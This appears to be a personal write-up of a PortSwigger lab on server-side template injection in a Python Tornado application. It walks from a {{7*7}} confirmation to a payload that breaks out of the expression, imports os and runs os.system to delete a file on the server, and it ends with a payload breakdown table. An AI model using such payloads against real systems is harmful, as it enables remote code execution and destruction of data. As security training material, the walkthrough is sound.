[This lab](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context) involves a **server-side template injection (SSTI)** vulnerability in a Python application using the **Tornado** templating engine. Unlike basic reflected SSTI, this lab shows how to exploit template injection **inside Python code logic blocks**, enabling full remote command execution. This mirrors a realistic scenario where user-controlled input is passed into template logic, but without obvious output — making it harder to detect and exploit. Here, we move from a **math-based confirmation** to a full exploit that deletes a file using the `os.system()` call. ##### Step-by-Step Exploitation ###### 1. Log In and Trigger the Feature - Use credentials: `wiener:peter` - Log in, then post a comment on any blog post - Visit the **My account** page - Change the **“preferred name”** option — this triggers a POST request like: ``` POST /my-account/change-blog-post-author-display ``` With a body like: ``` blog-post-author-display=user.name ``` This value is used to dynamically render the name above your comment. ![[CleanShot 2025-05-05 at 13.17.13.png]] --- ###### 2. Confirm Template Injection (Expression Context) Send the request to **Burp Repeater**, and modify the value: ``` blog-post-author-display=user.name}}{{7*7}} ``` ![[CleanShot 2025-05-05 at 13.19.10.png]] Now load your blog comment page. The displayed name changes to: ``` Peter Wiener49}} ``` This confirms that the server is evaluating `{{7*7}}` — indicating **expression-based SSTI**. ![[CleanShot 2025-05-05 at 13.19.49.png]] --- ###### 3. Escalate to Code Execution (Code Context) Tornado uses `{% ... %}` for control flow and Python logic. According to [Tornado template docs](https://www.tornadoweb.org/en/stable/template.html), we can write: ```python {% import os %} {{ os.system("id") }} ``` But we need to **break out of the current expression** and inject this logic. Final payload (minified and URL-encoded): ``` blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt') ``` Decoded: ``` user.name}}{% import os %}{{os.system('rm /home/carlos/morale.txt') ``` Send this POST request using Burp Repeater. --- ###### 4. Trigger the Template Evaluation Reload the blog post page that displays your comment. This forces the application to render your template injection. If successful, the file is deleted and the lab is marked **Solved**. ![[CleanShot 2025-05-05 at 13.21.25.png]] --- ##### Why it works? - `{{ ... }}` renders expressions (e.g. variables, math, method results) - `{% ... %}` executes arbitrary Python code — including `import`, `for`, `if`, etc. - By escaping from the original `user.name` context, we gain control of both expression and logic syntax - This enables true code execution using Python's `os.system()` --- ##### Payload Breakdown |Component|Purpose| |---|---| |`user.name}}`|Escapes out of the existing variable| |`{% import os %}`|Logic block to load the `os` module| |`{{ os.system(...) }}`|Expression block to run a shell command|